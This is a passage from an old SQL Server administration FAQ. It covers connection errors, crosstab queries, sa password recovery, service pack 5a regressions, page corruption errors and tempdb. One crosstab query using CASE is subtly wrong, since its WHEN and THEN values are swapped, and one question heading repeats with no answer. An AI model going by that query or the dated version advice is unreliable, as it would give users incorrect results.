As long as SQL Server carries on, and no other errors are being reported, then there is usually nothing to worry about. They are merely showing that the disk subsystem is unable to keep up with the level of i/o that SQL Server is asking it to do. SQL just waits and retries these requests. (The message *may* indicate that the disk subsystem is experiencing problems - check the NT event log for scsi errors and any hardware monitoring tools you have)

To up the amount of time that SQL waits before issuing this message and retrying amend the "resource timeout" parameter via sp_configure. (Only applies to SQL 6.5)

You MAY need to decrease your max async io (any version) or max lazywrite io (SQL 6.5 only) if these errors are continuous. Or invest in a faster disk subsystem. Or spread your devices across more of your existing spindles.

See article Q167711 in the Microsoft Knowledgebase/Technet for more info.

If SQL does not automatically carry on then either a memory corruption has occured with the internal SQL data structures or a hardware error is preventing SQL from getting a response.


Q. Who are Microsoft Product Support Services and how do I contact them?

A. These are people who support all MS's products, write fixes, take the calls, sort out workarounds etc. They work 24x7x365. You can call them by phone (U.S. is 1-800-936-3500)

For details of your nearest PSS support centre and other info try :-

http://support.microsoft.com/support/supportnet/default.asp
http://www.microsoft.com/support/customer/itpro.htm

To report on the Web :-

http://www.microsoft.com/technet/support/incident.htm
http://support.microsoft.com/support/webresponse.asp

All incidents are chargeable either to your credit card or an existing account. The charge WILL be re-imbursed if the problem turns out to be an Microsoft bug, or a feature that hasn't been publicly documented. The person answering the phone cannot know it's a bug, so they have to take details of your credit card before passing you on to a technician. When the call is closed the technician decides whether to mark the call as "free" in which case you get a refund automatically. (Same for Web incidents)


Q. What is a "SQL Server MVP" and how do I become one?

A. An MVP is a Microsoft Valued Professional. These are people recognised by Microsoft as providing a "lot" of help on their internet newsgroups for fellow users. You can't pass and exam or pay to become one. There are MVP's that cover most of the Microsoft product and development range - SQL Server is just one of many areas. MVP status is renewed yearly (or not as the case may be).

MVP's are not paid by MS, and are, by and large, not Microsoft groupies or yes men/women. They do get some "freebies" but if you worked these out as cash value to an hourly rate this is a few pennies/cents per hour.

MVP's can report bugs/problems direct to Microsoft for you, but it is only feasible to do so if the problem is reproducible.

The SQL Server MVP's (as of 2000.01.03) are (hopefully I haven't forgotten anyway) :-

Itzik Ben-Gan
Kalen Delaney
Trevor Dwyer
Russel Fields
Roy Harvey
Gianluca Hotz
Tibor Karaszi
Greg Mable
BP Margolin
Brian Moran
Bob Pfeiff
Neil Pike
Steve Robinson
Tony Rogerson
Wayne Snyder
Ron Talmage

To become an MVP you need to be "noticed" as being a regular, accurate.. blah blah.. contributor to the newsgroups/forums over an extended period of time. There is no fixed amount of postings, length of time etc. You can then be put forward to Microsoft (usually by one of the existing MVP's) as a nominee.

More info on the MVP program can be found at :-

http://support.microsoft.com/support/supportnet/supportpartners/mvps/brochuregeneral.asp


Q. I'm getting an access denied or CreateFile message when connecting to SQL Server.

A. The message may be one of the following

---------
Msg No 10004 Severity 9 State 0
Unable to connect: SQL Server is unavailable or does not exist. Access denied

Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC SQL Server Driver][dbnmpntw]ConnectionOpen(CreateFile())

MSG 10004, Severity 9.( sqlserver not available). OS 1326
---------

This isn't a SQL issue, it's an NT one. If you are using a net-lib that requires NT authentication - e.g. named-pipes or multiprotocol with 6.5 or below and any net-lib with 7.0 - then you MUST be able to authenticate to the copy of NT running SQL Server.

You can test whether you can do this by doing a "NET VIEW \\servername" from a command prompt on the client. If you get an access denied message, or get prompted for a password, then you aren't being authenticated.

If this happens then you need to setup a trust between the domains. Or, you could use a net-lib that does not need authentication - e.g. tcp-ip sockets.

If you can't have a trust (and really this IS the best method) then you can override the NT details by doing a "net use \\<server>\ipc$ /user:<serverdomain>\<userid> <password>" with an account that is in the domain. But this is a manual process and prone to fail when the password changes.


Q. How can I automate the scripting of a database/objects in SQL Server?

A. You can do this using the SQL-DMO objects that SQL supports. These can be called via the SQL OLE interface. There is a help file for the SQL DMO objects included with SQL Server and there is an icon for it in your SQL group.

For an example of using the SQL OLE interface see Q152801 in the MS Kb. Alternatively you can code your own VB app to call the DMO routines yourself.

For SQL 7.0 you could also use the SCPTXFT.EXE utility found in the UPGRADE directory to script objects. You can schedule this using SQLAgent or run from a SP etc. Do a SCPTXFT /? to see the parameters - which are self explanatory. (If it isn't on your hard-drive then look in the upgrade directory on the CD).

See Q220163 for more details.


Q. Why is the date I get via select getdate() wrong in SQL Server?

A. The usual reason for this is an old bug that caused the date in SQL Server to wrap around after a month or so of continuous running. This was caused by the variable that the date was being held in overflowing.

The bugs were fixed in one of the 6.5 servicepacks - probably SP2. Apply the latest servicepack and it should be fixed.


Q. Where is the pointer to master stored in SQL Server? How can I move the master database?

A. It is kept in the SQLArg0 value in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\Parameters.

The value has a form like "-dD:\MSSQL\DATA\MASTER.DAT"

To move master just shutdown SQL Server, move the device using explorer/move, amend this registry parameter and then restart.


Q. Why do I see page faults/sec above 0 when I have a dedicated SQL Server machine?

A. This is because "page faults" are NOT the same as paging to disk. A page fault occurs every time SQL accesses a page in memory that is outside it's "working set". Due to the way that the SQL performance monitor counters work in SQL 6.5 and earlier, this area of memory is held outside of the SQL working set, so access/updates to these counters actually CAUSE page faults.

However most page faults are still to areas that are still held in memory and so do not result in expensive/slow reads/writes to the pagefile on disk. There is some CPU overhead caused by the NT Virtual Memory Manager (VMM) becoming involved and context switches, but these don't affect performance unless you are getting hundreds/thousands of page faults/sec.

The counter you should monitor is pages/sec which is the actual i/o caused to the pagefile, and is what you should be worried about.

For more information on performance/monitoring issues there is no better reference than the NT Server Resource Kit that has a volume dedicated to these topics.


Q. How do I configure a connection to use tcp-ip sockets with SQL Server?

A. Run the SQL Client Configuration program on the client in question and follow these steps :-

  1. Select the Advanced Tab
  2. In the Server box type in the name your application will use to reference the server.
  3. For DLL Name select TCP/IP Sockets.
  4. For a server name that will be resolved to a numeric IP address just enter the name into the Connection string. (This should work if you can PING that server by name.) For a numeric IP address just type the IP address into the Connection String.
  5. If you want to use a different port from the default (1433 is the default) follow the IP name or address with a comma and the alternate port. For example: 123.123.123.123,1434
  6. Hit the Add/Modify Button.

That should do it


Q. How can I do a crosstab function using standard TSQL in SQL Server?

A. It's obviously easier to use a product that has this sort of functionality built-in - e.g. Excel, but it is possible to do it in standard SQL, though there the query has to be hard-coded to the number of columns/values required.

Take the following table

Product_Code Criteria_Code Value
------------ ------------- -----
100011             1         A
100011             2         B
100011             3         C
100011             4         D
100012             1         E
100012             2         B
100012             3         F
100012             4         D

Which you want to view as follows

Product_Code Criteria_1 Criteria_2 Criteria_3 Criteria_4
------------ ---------- ---------- ---------- ----------
100011            A          B          C          D
100012            E          B          F          D

If you don't have a CASE statement (e.g. pre SQL 6.0) then use the following :-

SELECT Product_Code,
    Criteria_1=MAX(substring(Value, 1, datalength(Value) * (1 -
abs(sign(Criteria_Code - 1))))),
    Criteria_2=MAX(substring(Value, 1, datalength(Value) * (1 -
abs(sign(Criteria_Code - 2))))),
    Criteria_3=MAX(substring(Value, 1, datalength(Value) * (1 -
abs(sign(Criteria_Code - 3))))),
    Criteria_4=MAX(substring(Value, 1, datalength(Value) * (1 -
abs(sign(Criteria_Code - 4)))))
FROM <tbl>
GROUP BY Product_Code

If you do have the CASE statement available then use :-

SELECT Product_Code,
    Criteria_1=MAX(substring(Value, 1, datalength(Value) * (CASE
Criteria_Code WHEN 1 THEN 1 ELSE 0 END))),
    Criteria_2=MAX(substring(Value, 1, datalength(Value) * (CASE
Criteria_Code WHEN 1 THEN 2 ELSE 0 END))),
    Criteria_3=MAX(substring(Value, 1, datalength(Value) * (CASE
Criteria_Code WHEN 1 THEN 3 ELSE 0 END))),
    Criteria_4=MAX(substring(Value, 1, datalength(Value) * (CASE
Criteria_Code WHEN 1 THEN 4 ELSE 0 END)))
FROM <tbl>
GROUP BY Product_Code


Q. How can I do a crosstab function using standard TSQL in SQL Server?

Q. How can I run an external (non-SQL) program/dll etc. from within a TSQL SQL Server script?

A. As far as functionality goes, you can do anything you like - read/write files, send network messages, call OLE/COM functions, kick off other programs, run ftp's etc. etc.

There are a choice of ways of invoking these things :-

1. Write your own extended stored procedure - which is essentially a DLL with some SQL call constructs in. See Q190987 for more details. You can't code XP's in VB, so you will need C (or Delphi) programming knowledge.
For SQL 6.5 download the PTK from http://support.microsoft.com/download/support/mslfiles/PTK_I386.EXE
For SQL 7 look on the CD under \devtools

2. Use the SQL OLE Automation calls to call a COM object - sp_OAxyz See Q152801 and the books-online for details of sp_OACreate, sp_OAMethod, sp_OAGetProperty and sp_OASetProperty

3. Run an external .EXE via the supplied xp_cmdshell extended stored procedure. See the books online for details.


Q. What specification hardware do I need to run SQL Server for good performance?

A. (1) How long is a piece of string? (2) It depends.

These are the two most accurate answers that can be given, as complete information is needed on size of database, complexity, triggers, indices, DRI, number of users, transactions per minute, update ratio, row length, key sizes etc. before even a rough estimate can be provided. Plus hardware performance in terms of cpu power and disk performance is always increasing at phenomenal rates.

However, as some general pointers :-

Memory is the most important resource until you get to 95% cache-hit ratio. It then doesn't matter too much how much extra memory you add. Start with 128Mb ram (because ram is cheap), but make sure you have spare simm/dimm slots for expansion.

Next come disks and the disk subsystem - especially for updates. Battery-backed write-back cache is good - the more the better. The more raid controllers you have the better - not because they are generally a bottleneck, but because you can then have multiple sets of read and write-back cache assigned. Dedicating a controller just to the transaction log is good because this then gets some dedicated write-back cache.

Processors usually come last - SQL rarely gets processor bound except on the biggest systems, but if you have the money then get 2 or more. The most benefit comes from the 2nd with the law of diminishing returns kicks in after that. SQL scales well to 4 processors, and scales reasonably well to 8 (depending on the hardware implementation), but after that......... Remember that with 6.5 and below a single query will only ever use a single processor, whereas in SQL 7 it will parellise queries if it thinks that will make it run faster.

Don't forget network cards and network design. You won't get 500 concurrent users through a single 10Mbit Ethernet ISA card. If you have a significant workload in terms of users or large result sets then make sure you have multiple network cards - PCI bus master variety. Have the cards on different rings/segments if your users are devolved that way - otherwise attach the card(s) direct to a switch for full-duplex throughput and consider the use of either software or hardware card aggregation (like Raid for disks, but for cards). Some cards have this facility built-in to the hardware, but there are 3rd party software drivers that will make it work for any card.


Q. How can I stop a SQL Server process?

A. Do a select * from sysprocesses and identify the spid in question. Then do a "KILL <spidno>"

This will mark the spid as "dead". Note that it may take a while for the process to end as it has to rollback all the updates that it has been doing. Also kill only marks the process as dead - the process itself needs to check for this, and if it is stuck in a loop as the result of a bug or whateverthen it won't terminate. Also certain processes like dump and dbcc commands have significant code paths where the kill command is not checked for and so these can take some time to terminate.

Also, if the process is in an extended-stored procedure, or is waiting on network traffic/remote stored-procedure it will not check whether it has been terminated until these actions have been completed.

See Q171224 for more info - including details on the waittype that can tell you what a process is waiting on.

If the process won't die for one of the above reasons then your only choice is to stop the sqlservr.exe process itself and re-start.


Q. I get an ODBC error.

A. If you get the error "The ODBC catalog stored procedures installed on server xxx are version x.xx.xxx, version yy.yyy.yyyy or later is required to ensure proper operation." then this is caused when the ODBC client code is upgraded and the server stored procedures are not. You can usually find a file called "INSTCAT.SQL" in your <nt>\system32 directory. Or you can download the latest drivers including this file from www.microsoft.com/data - they are part of the MDAC "product" which includes all odbc/rdo/ado/ole-db etc. database access drivers.

Run the INSTCAT.SQL file against the relevant SQL Server(s) using ISQL/ISQLW or any other query tool.


Q. I've forgotten the sa password for SQL Server - what can I do?

A. The easiest way around this is to logon to the actual SQL Server NT machine itself as administrator. Then connect to SQL Server using any of the tools and specify "." as the server name and ask for a trusted connection. As long as the admins group hasn't been explicitly removed from having sa rights then you should connect ok and be able to reset the password.

If you're in mixed-mode and you know the NT userid of someone with sa rights, then get their password reset and logon/connect as them.

Otherwise you can try and find a dba's machine who already has the server registered to SQL EM with sa and use that copy of SQL EM to connect.

If all these fail then you'll have to rebuild master and disk reinit (6.x) or re-attach (7.x) all the user databases.


Q. Why does my SQL Server code sometimes respond slower than normal when I haven't changed anything?

A. This could be for a variety of reasons :-

  1. Are you passing the same parameters through the code each time? SQL could be choosing a different access path for different values in an index. Showplan would tell you what is going on here.
  2. Could be that another process has filled the data cache with pages from other tables meaning you need to do a lot more physical i/o. The show i/o stats stuff will show you whether this is the case.
  3. You could be contending with the checkpoint process - this flushes all dirty pages to disk.
  4. You could be contending with another user SQL process for disk i/o or being blocked on allocation of locks. Check sysprocesses and syslocks for the locks/blocking stuff. Check NT perfmon disk stats for disk contention.
  5. Another non-SQL process could be running - e.g. NT backup, virus check, disk compression etc.
  6. If the process is an update one then it could be that this particular run of the process needs more page and extent splits than normal. Extent splits especially can take some time.
  7. Does the process do any select into's? If so you may be falling foul of system table locking. Set traceflag 5302 if this is the case.
  8. Unless you are sending raw/passthrough SQL via db-lib or odbc direct then monitor the process to see what SQL is actually being passed. ODBC and all higher level access methods all make use of stored-procedures, cursors etc. even for the simplest SQL query. It may be a side-effect of some system generated SQL that is causing you the problems.


Q. Should I apply SP5? Will it cause more problems than it fixes?

A. SP5 was released on 24th December 1998. It was re-issued as SP5a on 26th January to fix a problem with 603's on loading dumps. Make sure you apply SP5a (build 416) and not SP5 (build 415). If you are already on SP5 (415) then the only files you need to update are sqlservr.exe (and .dbg) and opends60.dll (and .dbg).

SP5a has undergone more testing and beta releases than any other service-pack because it offers Y2K compliance. However, it contains a LOT of fixes and therefore new or regressed bugs are inevitable. Known regressions are listed at the bottom of the article.

Due to the number of fixes it has gone through a lot more build numbers than previous releases have - though in this case about 50 of the builds should be ignored as Microsoft jumped a load due to internal source release issues. The fixlist is pointed to at the bottom of this message.

For any new release/servicepack you are advised to apply and test on test systems first, and if at all possible do a stress-test so that any problems with blocking/locks are found before rolling out to a production system.

All service-packs come with problems, however in most cases they fix a lot more problems than they cause. 99% of bugs you may find in SP5a will be present in the gold release and all previous service packs as well - they simply aren't fixed in SP5a.

Should you apply it? As it gives Y2K compliance then the answer is probably yes. But see the list of known regressions below and also check the Microsoft Kb - http://support.microsoft.com. Search on SQL AND KBBUG AND SP5. If you don't want to apply SP5a because of one of these bugs then either wait for SP6 (date unknown) or contact Microsoft PSS about availability/stability of hot-fixes. (There are FAQ articles on MSPSS and HOTFIXES)

SP5a is available via the downloads option from http://support.microsoft.com. Also ftp direct from
ftp://ftp.microsoft.com/bussys/sql/public/fixes/usa/SQL65/Sp5/

Service Pack 5a - Known Bugs/Regressions
----------------------------------------

These are problems that occur in SP5a but do not occur in SP4 or below.

1. Error 4409 when selecting on a view. Hot-fix build 422 available.

create table MyTable
(
X int NOT NULL,
ORDER_NUM numeric(15,4) NOT NULL
)
go

create view MyView as
select t1.ORDER_NUM from MyTable t1
union
select t1.ORDER_NUM from MyTable t1
go

select *
from MyTable T1 INNER JOIN MyView T2 ON T1.ORDER_NUM = T2.ORDER_NUM
go

2. 605 errors in tempdb. Script below to repro. No fix at the moment.

create view VIEW_CRASH_TEST as
select NUMBER = 1
UNION
select NUMBER = CONVERT(numeric(19, 4), 0.0)
go

select NUMBER
from VIEW_CRASH_TEST
where NUMBER <> 0.0

3. SP5(a) treats all columns in an inserted row as updated for the purposes of checking in a trigger. See Q216700
for more info. Fixed in hot-fix build 422.

4. You may get access violations caused by high stress tempdb deadlocking and attention signals. Errors 603 and 803 are symptomatic. It is fixed in build 437. See Q231323 for more info.

5. Under certain conditions dynamic cursors may go into an infinite loop with SP5a. Putting SP5 or below back on the machine without changing the data fixes the problem. Fixed post SP5a - doesn't occur in build 440 for example. Or make the cursor INSENSITIVE which fixes it.

6. User doesn't have permission to call sp_b directly but calls it via sp_a. This used to work fine, but with SP5a if a user calls sp_b directly and rightly fails they then get access denied to sp_a on all subsequent calls. Fixed in build 446.

7. If you're using a 4mm DAT tape device you may experience errors unless you have the 4mmdat.sys from NT 4.0 SP4 or above applied. SP5 makes a call to a function in the driver that isn't there in earlier versions.

8. When getdate() is used in a cursor with WHERE CURRENT OF you will get "Jan 1 1900" as a date. This is fixed in a post-SP5 build - it works ok on build 452.

Service Pack 5a - Possible Issues
---------------------------------

These are issues that haven't been confirmed :-

1. User Comment : "I upgraded from SP4 to SP5(a) over the weekend and and am running into fatal blocking problems all over the place in an app/database that's been running for years..."

Reply : Microsoft have applied several fixes in SP5(a) where table locks have been taken/kept where they weren't needed. These have been removed which should improve concurrency/throughput. However, on systems that don't use best practices to reduce locking problems, the extra page level contention could cause extra blocking/deadlocks.

2. Reports of index corruptions.

3. Incorrect results from count(*) as opposed to select * in view with multiple unions.

4. Stored procedures returning incorrect results in low memory situations.

Microsoft SQL Server 6.5 Service Pack 5a Fixlist
------------------------------------------------

See Q197174 for the official fix-list.

One that isn't documented in this release is the fact that SP5 offers Win2000 compliance - previous versions of SQL Server had problems with DUMP and LOAD DATABASE commands under NT5/Win2000 beta's.

Another is that ADO had problems resulting in "invalid token" errors due to it's use of an undocumented browsetable command. This has now been fixed.


Q. Do I really need 166Mhz Pentium processors to run SQL Server 7.0?

A. No. But you DO need a 100% PENTIUM compatible chip - which rules out some Cyrix and IBM processors. The only way around this is for the chip vendor to offer a micro-code upgrade. (Some non-Intel chips say they are pentiums, but in fact only implement the 486 chip-set).

The following quote is from Cyrix - "Recently an issue with SQL Server 7.0 has been discoverd with the non-MMX Media GX and the 6x86 processors. A fix for this issue can be obtained from Cyrix technical support at: tech_support@cyrix.com"

The actual speed of the processor doesn't matter as long as it runs the full pentium instruction set - it needs to support CMPXCHG8B (Compare and Exchange 8 bytes) and RDTSC (Read Time-Stamp counter) instructions. Microsoft have made this a requirement because it is the minimum spec machine that they have developed/tested with - which is ok if you get most of your equipment donated/loaned/replaced by hardware companies free of charge, but this isn't the case with most businesses!

As long as the server previously ran SQL 6.5 (and is 100% PENTIUM compatible) you should find that it will run SQL 7.0 and will offer significant performance improvements, so don't upgrade hardware for the sake of it.

The following quote is from Microsoft Product Support Services :-

"When using SQL Server v7.0, Microsoft recommends a processor speed of 166Mhz or higher for server machines. Our extensive testing of the product has been done on machines of this calibre and we believe customers will get a better price performance with the product when used in this configuration. Microsoft will support SQL Server v7.0 when run on server machines with slower processors. However customers should recognise that if our findings are that major problems can be eliminated by using faster processors we will continue to recommend, and in some cases may require, compliance with this
suggestion."

The reason for this caveat is that some of the decisions the optimiser makes on a 166Mhz pentium may not make so much sense on a 60Mhz pentium - i.e. the extra cpu time a 60Mhz part neeed may mean that a non-optimal plan had been chosen.


Q. Does SQL Server run under Win2000/NT5?

A. SQL 7 works fine under Win2000. For SQL 6.5 you need to upgrade to SP5 otherwise DUMP and LOAD DATABASE commands will fail.


Q. How do I change the name of SQL Server?

A. If you change the NT name of a server and want to change SQL Server 6.5 or below to match it then do :-

sp_dropserver <oldname>
go
sp_addserver <newname>, local

In addition, if you use the IPX/SPX netlib for SQL Server connectivity you must also run the SQL Setup, choose the option to change the network support, and fix the server name in there too.

With SQL 7.0 you will need to re-run setup to reset the server name. Setup will detect the name conflict, resolve it, and then finish.


Q. Why has my tempdb in SQL Server filled up?

A. First make sure that you have actually expanded tempdb - as it defaults to 2Mb on the master device only. Create new device(s) for it and expand it onto these devices. Do NOT expand it on master.

How big is tempdb? Remember that for joins/sorts SQL Server may need a significant amount of space depending on the size of the input tables. If you're doing an order by or a group by then SQL is probably using a temp table as an intermediate step. If you're doing a cartesian join, then you're going to need a LOT of space.

After that do a "select type, name from tempdb..sysobjects" to see what is in tempdb - this should give you clue(s) as to what is generating the objects in question and why they are not being deleted.

A prime cause of this is ODBC which has the option per DSN of generating temporary stored-procedures for all the queries per user connection. Most of the time you are better off disabling this option which you can do via the ODBC applet in the control panel.


Q. Mail messages are stuck in my outbox with SQL Mail.

A. This is a mapi problem, not a SQL one - specifically with the mapi32.dll file. The one that comes with NT 4.0 as part of basic "Windows Messaging" does not work properly when called from a service.

Versions of mapi32.dll that people have reported to work are :-

The one in NT 4.0 SP3 (mapi32.dll doesn't ship in later sp's, so it has to be SP3)
Outlook 97/98 or a recent Exchange client
v5.5.1960.0 (size 884736 bytes)
Outlook 2000 definitely fixes the problem (I did this on a server recently).

Another cause of the problem can be having offline folders enabled on the mail client. Make sure this isn't the case.


Q. I am getting an error "Msg 2503, Level 16, State 1 Table Corrupt" on my SQL Server - what can I do?

A. Full error message is - "Msg 2503, Level 16, State 1 Table Corrupt: Page linkage is not consistent; check the following pages: current page#=xxx; page# pointing to this page=yyyy; previous page#=zzzz"

Make sure that is a "real" 2503 by running the dbcc in single-user mode as they can be spuriously reported if updates are occuring at the time of the dbcc.

At this point if you have a good backup and will not lose any data, then now is the time to use it. If you don't have a good backup then look at your backup procedures! To try and resolve the problem read on :-

Use DBCC PAGE (doc'd in the Books Online) to determine whether the page is a data or index page. If it is an index you are in luck and you may be able to drop and recreate the index.

If it is not an index page or this does not work then you will need to transfer all the data/objects into a new database. For the problem table(s) this may not work as the page chain is broken, so you will probably need to manually select out data in ranges based on keys above and below the broken point.

Once you have transferred all the objects across drop the old database and rename the new one.

If you don't want to transfer all the data across then you can just do the broken table. When this is done, rename the broken table by directly updating it's name in sysobjects. Then create a new table with the old name. Make sure no other errors are in the database first. Make sure you also re-create any views/stored-procedures that reference the table so that they start pointing to the new one.

If the above is not possible due to the size of the database or other reasons then your only alternative is to pay for Microsoft PSS support who may be able to patch the pointers in the tables/pages directly for you. However this sort of fix is not guaranteed and is done (if at all) on a best efforts basis totally at your risk.


Q. I am getting an error 2521 on my SQL Server - what can I do?

A. Full error is "Msg 2521, Level 16, State 1, Server xxx, Table Corrupt: Page is linked but not allocated; check the following pages and table: alloc page#=<xxx> extent id=6676856 logical page#=6676856 object id in extent=8 (object name=syslogs) index id in extent=0 Make sure that is a "real" 2521 by running the dbcc in single-user mode as they can be spuriously reported if updates are occuring at the time of the dbcc.

Make sure there are no other errors in the dbcc either.

At this point if you have a good backup and will not lose any data, then now is the time to use it. If you don't have a good backup then look at your backup procedures! To try and resolve the problem read on :-

Use DBCC PAGE (doc'd in the Books Online) to determine whether the page is a data or index page. If it is an index you are in luck and you may be able to drop and recreate the index.

If it is not an index page or this does not work then you will need to transfer all the data/objects into a new database. It must be a different database as otherwise the pages your table is using but aren't allocated may be allocated for the new table and cause more problems. If the transfer fails then manually select out data in ranges based on keys above and below the broken point.

Then drop the old table, recreate it and transfer the data back in.

If the above is not possible due to the size of the database or other reasons then your only alternative is to pay for Microsoft PSS support who may be able to patch the pointers in the tables/pages directly for you. However this sort of fix is not guaranteed and is done (if at all) on a best efforts basis totally at your risk.


Q. I am getting an error 605 on SQL Server - what can I do?

A. This problem is caused by a cross-link in the page chains of two or more tables, causing them to point to each other's data. Make sure that is a "real" 605 by running the dbcc in single-user mode as they can be spuriously reported if updates are occuring at the time of the dbcc.

At this point if you have a good backup and will not lose any data, then now is the time to use it. If you don't have a good backup then look at your backup procedures! To try and resolve the problem read on :-

First, if you haven't already done a full dbcc checkdb/newalloc then do one. You need to ascertain how much corruption exists. You may have one 605 or hundreds - there may also be other corruptions. Make sure you have a backup, in case you make things worse.

Use DBCC PAGE (doc'd in the Books Online) to determine whether the page is a data or index page.

If it is an index you are in luck and you may be able to drop and recreate the index.

If it is not an index page or this does not work then you will need to transfer all the data/objects into a new database. For the problem table(s) this may not work as the page chain is broken, so you will probably need to manually select out data in ranges based on keys above and below the broken point(s).

Once you have transferred all the objects across drop the old database and rename the new one.

If you don't want to transfer all the data across then you can just do the broken tables. When this is done, rename the broken tables by directly updating their name in sysobjects. Then create new tables with the old names. Make sure no other errors are in the database first. Make sure you also re-create any views/stored-procedures that reference the tables so that they start pointing to the new ones.

If the above is not possible due to the size of the database or other reasons then your only alternative is to pay for Microsoft PSS support who may be able to patch the pointers in the tables/pages directly for you. However this sort of fix is not guaranteed and is done (if at all) on a best efforts basis totally at your risk.


Q. I get an error #610 - Maximum number of databases that may be accessed by a transaction is x.

A. There is also a very similar error 925.

Assuming the query doesn't really access more than <x> databases then this is a SQL bug caused by a complex query that has confused the SQL parser/optimiser.

It could also be that you're using more than 16 temporary tables - this message isn't very meaningful in this case. Do a showplan and see whether this might be the case.

Look for any known reasons for this bug at http://support.microsoft.com - just search on 610/925 and SQL and kbbug. If your problem does not match any of these and you have already applied the latest service pack then either post a reproduction script for an MVP to report for you or call the problem in to Microsoft PSS yourself.


Q. I'm getting a "bad token" error message from SQL Server - what causes this?

A. The full errors for this problem are "Bad token from SQL Server" and "Datastream processing out of sync".

They are caused by the NO_BROWSETABLE undocumented option. As it is undocumented the error almost always occurs using ADO as it uses it without the programmer knowing about it.

It is caused when NO_BROWSETABLE is set and a SELECT operation includes one or more columns in an ORDER BY clause that are not in the SELECT list.

The problem is fixed in SP5 for SQL 6.5. It does not occur in SQL 7.0.

A script to show the problem from ISQL/W follows :-

SET NO_BROWSETABLE OFF
go
CREATE PROCEDURE my_sp AS
CREATE TABLE #t(a int)
INSERT #t VALUES(3)
SELECT * FROM #t
go
EXEC my_sp -- Goes OK.
go
SET NO_BROWSETABLE ON
go
EXEC my_sp -- Goes OK too.
go
EXEC my_sp WITH RECOMPILE -- Now, you're dead.
go


Q. Why do I get slow or no connections to SQL Server using IPX from my Win3x and Win9x clients?

A. If the connections work fine from NT then this is because of a network feature called "direct hosting". To resolve the problem either use another protocol completely or turn off the feature. On the NT Server this can be done by disabling the NWLink IPX/SPX binding in Windows NT Server service. After this is done, enable NWLink with NetBIOS on the client computer.

Alternatively you can turn it off at the client end. For Windows 3x machines this can be done by editing the system.ini file and amending/adding the following entry.

[network]
DirectHost=off

For Windows 95 use regedit.exe to navigate to the following registry key:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\VNETSUP

Add a string value named DirectHost and set the string value to 0 (zero). Also, ensure that NetBIOS support is enabled for NWLink, if NWLink is the only transport protocol loaded on the client computer running Windows 95.


Q. I'm getting the following error with SQL 7 regarding DTS inability to transform data.

A. In the very small-print on the license agreement it says you can't do distributed operations (dist. query, replication, DTS) between SQL Server Desktop and Standard/Enterprise version if the Standard/Enterprise version is installed in "per server" mode.

Switch the SQL Server to "per-seat" mode" via the licensing applet in control panel.


Q. With SQL Server should I get more processors or faster processors?

A. With SQL 6.5 and below a single query will only ever use a single processor, whereas in SQL 7 it will parellise queries if it thinks that will make it run faster.

Usually processor isn't the bottleneck on SQL systems - it is usually the disk subsystem. But as a rule of thumb if you have few users/processes then go for faster processors, and if you have lots of users then go for more processors.


Q. How can I get ISQL.EXE to return a DOS errorlevel for me to test?

A. Use the RAISERROR command with the following criteria :-

  1. Run ISQL with the -b option
  2. Set the message severity to greater than 10
  3. Set the message state to 127

i.e.

isql -E -Q"RAISERROR ('set errorlevel 11',11,127)" -b if errorlevel 11 goto failed


Q. Does SQL Server have any built-in functions to work with julian dates?

A. No, you have to code your own sp. Here is some sample code - originally from Roy Harvey.

  1. Assuming the Julian date is held as a char
    declare @julian char(8)
    select @julian='1996.031'
    declare @dt datetime

    select @dt=DATEADD(dd,convert(int,right(@julian,3)) -1,convert(datetime,substring(@julian,1,4)+'0101',212))

    select @dt
  2. Julian date in decimal format - e.g. 99123 is 123rd day of 1999 held in variable SDDRQJ.
    select DATEADD(day,CONVERT(int,SDDRQJ)-((1000*(CONVERT(int,SDDRQJ)/1000)))-1, DATEADD(year,CONVERT(int,SDDRQJ/1000),'1 Jan 1900'))


Q. Why can I connect to SQL Server with the tcp-ip sockets netlib and not named-pipes over IP/multiprotocol?

A. Both these net-libs do indeed run over tcp-ip, so there are three reasons why ip sockets may work and named-pipes doesn't :-

1. Trusted connection. Tcp-ip sockets net-lib with SQL 6.5 and below does not require NT authentication whereas the other two do. For trusted connections you must be connecting from an NT domain/userid that the SQL Server machine can authenticate via it's domain controller - usually this means a trust is needed if different NT domains are used for client and server.

To prove whether this works or not you can do a NET VIEW \\servername from the client. If this returns "invalid logon", "no domain controller exists" or "access denied" then the appropriate trust/credentials are not in place.

2. Name resolution. You have probably done a PING <servername> and it has returned ok. This is fine for tcp-ip sockets as the name resolution methods are the same for PING as for sockets. However, for named-pipes a different set of name-resolution methods is used (see NT Resource Kit/Technet for full details). Try a NET VIEW \\servername from the client to see if this connects ok - if it gets "error 53" then name resolution is probably the problem.

3. Firewall sockets. Each of the net-libs use different tcp-ip port numbers, so if there is a firewall involved maybe the correct ports are not being opened :-

For tcp-ip sockets the default port for SQL Server is 1433.

For multi-protocol (rpc) the ports are normally variable, but you can fix them. See Q164667 in the Microsoft knowledgebase for details.

For named-pipes over ip 137/138/139 are used. As these are the same ones used for file/print it is not recommended you allow these through the firewall.


Q. Should I apply NT 4.0 SP4 to my SQL Server system?

A. For SQL 7.0 you HAVE to - it is a pre-requisite.

NT Service Packs do not have any shared code that affects the SQL Server kernel, so application of NT service packs should be independent of SQL Server and should be applied based on the stability or otherwise of your NT system - plus it's exposure to security exploits, denial-of-service etc. And there are a LOT of these fixed in NT4 SP4.

Always check with your hardware vendor and any suppliers of 3rd party device drivers, systems management, virus checkers etc. that they support SP4 and application of the SP won't stop the server from booting! In particular there are issues with Adaptec and Compaq Array controllers (For Compaq Smart IIP controllers make sure your firmware as at least version 3.08). If you have some identical/similar hardware on less critical or test systems, then apply the SP to these first. For Compaq servers as a whole you need to be on at least SSD 2.11.

However, SQL Server does tend to stress the hardware/memory/pci bus/disk subsystem and could therefore expose a bug/compatibilty problem between the NT kernel and the hardware or 3rd party hardware device drivers. Therefore it is technically possible for it to expose a bug in an NT driver that doesn't otherwise show itself.

*** The following SQL Server errors have been reported by multiple people to Microsoft since they applied SP4. Microsoft are investigating. The errors indicate a problem between the NT supplied scsi drivers and the 3rd party supplied ones/raid drivers etc. ***

"Server blue screens fingering scsiport.sys as the culprit"

"SQLMaint.exe indicates database errors in indexes, and again crashes attempting to rebuild them"

When attempting a backup to disk - "Msg 18204 : dbsvolopen: Backup device ' D:\MSSQL\BACKUP\test_backup.DAT' failed to open, operating system error = 2(The system cannot find the file specified)"


